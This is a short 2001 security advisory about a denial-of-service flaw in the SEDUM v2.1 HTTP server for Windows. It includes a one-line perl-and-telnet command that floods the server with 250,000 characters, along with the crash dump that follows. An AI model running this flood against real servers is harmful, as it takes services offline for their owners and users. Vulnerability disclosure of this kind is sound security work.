SEDUM v2.1 HTTPd - Denial of Service

[slipy () B10Z NET]

Introduction:

SEDUM is a standard HTTP server designed for 
Internet/Intranet purposes. SEDUM support 
parametric html files and direct access to databases 
for a simple and powerful network data management. 
This software is for the MS operating system.


The Vendors website is:
http://www.frassetto.it/sdm/e_index.htm


Problem: Denial of Service Attack

SEDUM v2.1 is vulnerable to a nasty Denial of 
Service attack where it can be flooded with useless 
junk until the server crashes promptly. Once it has 
been crashed it needs to be restarted again for it to 
work properly. All windows versions apear to be 
affected. 


Examples:

echo `perl -e 'print "A" x 250000'` | telnet .com 80 

^^ = Will cause the program to quit within seconds 
and display:

EDUM caused an invalid page fault in
module <unknown> at 0000:0111001e.
Registers:
EAX=0122968c CS=016f EIP=0111001e 
EFLGS=00010206 EBX=00000000 SS=0177 
ESP=006dfab0 EBP=006dfadc ECX=0111027c 
DS=0177 ESI=0048258c FS=7677 EDX=0111000c 
ES=0177 EDI=00000000 GS=0000 Bytes at CS:EIP:
00 a0 2c 00 11 01 0c 00 11 01 00 02 00 00 01 00 

Stack dump:
0042bbed 00000001 0048258c 0042ba02 00000000 
0048258c 004575fd 00000000  005b037c 012291d0 
005b03e4 00000001 004576cc 0000008c 000005b4 
00457751 


Solution:

Vendor has been notified, and waiting for reply. 
Judging from the posts about the directory traversals 
with SEDUM and the authors response, don't expect 
a fix anytime soon.

--------------------
b10z HTTPd Advisory
slipy () b10z net

Found: February 23rd, 2001.

(PS: sorry if this message looks weird, bugtraq 
seems to always format my messages all screwy)